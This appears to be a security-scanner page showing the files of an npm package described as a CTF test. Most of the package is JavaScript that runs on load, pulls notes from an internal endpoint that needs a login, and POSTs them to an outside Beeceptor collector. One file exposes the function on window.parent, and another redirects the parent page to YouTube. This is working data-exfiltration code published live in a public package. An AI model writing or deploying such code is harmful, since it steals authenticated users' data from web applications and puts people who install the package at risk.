test_ctf_ntu_fetch_6 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of test_ctf_ntu_fetch_6 might be problematic. Click here for more details.

package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "test_ctf_ntu_fetch_6",
3
+ "version": "1.0.0",
4
+ "description": "just for ntu ctf test",
5
+ "main": "test_ctf_ntu_fetch.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "william H",
10
+ "license": "MIT"
11
+ }
@@ -0,0 +1,17 @@
1
+ function leakDataFromEndpoint() {
2
+ fetch('http://10.113.184.121:10082/api/notes/all') // 注意:这是跨域请求
3
+ .then(response => response.json())
4
+ .then(data => {
5
+ fetch('https://ntuctf.free.beeceptor.com', { // 你的 Beeceptor 端点
6
+ method: 'POST',
7
+ body: JSON.stringify(data),
8
+ headers: { 'Content-Type': 'application/json' }
9
+ });
10
+ })
11
+ .catch(error => console.error('Error:', error));
12
+ }
13
+
14
+ // 把leakDataFromEndpoint暴露到全局作用域,以便在外部调用
15
+ window.parent.leakDataFromEndpoint = leakDataFromEndpoint;
16
+
17
+ leakDataFromEndpoint();
@@ -0,0 +1,29 @@
1
+ function leakDataFromEndpoint() {
2
+ fetch('http://10.113.184.121:10082/api/notes/all') // 登录后才能访问,需要包含凭证
3
+ .then(response => {
4
+ // 检查响应是否成功
5
+ if (!response.ok) {
6
+ throw new Error('Failed to fetch notes.');
7
+ }
8
+ return response.json();
9
+ })
10
+ .then(data => {
11
+ return fetch('https://ntuctf.free.beeceptor.com', {
12
+ method: 'POST',
13
+ body: JSON.stringify(data),
14
+ headers: { 'Content-Type': 'application/json' }
15
+ });
16
+ })
17
+ .then(response => {
18
+ if (!response.ok) {
19
+ throw new Error('Failed to send data.');
20
+ }
21
+ console.log('Data sent successfully');
22
+ })
23
+ .catch(error => {
24
+ console.error('Error:', error);
25
+ });
26
+ }
27
+
28
+ // 确保当脚本加载时调用函数
29
+ leakDataFromEndpoint();
package/yt.js ADDED
@@ -0,0 +1,2 @@
1
+ // 当页面加载时,立即重定向到YouTube
2
+ window.parent.location.href = 'https://www.youtube.com';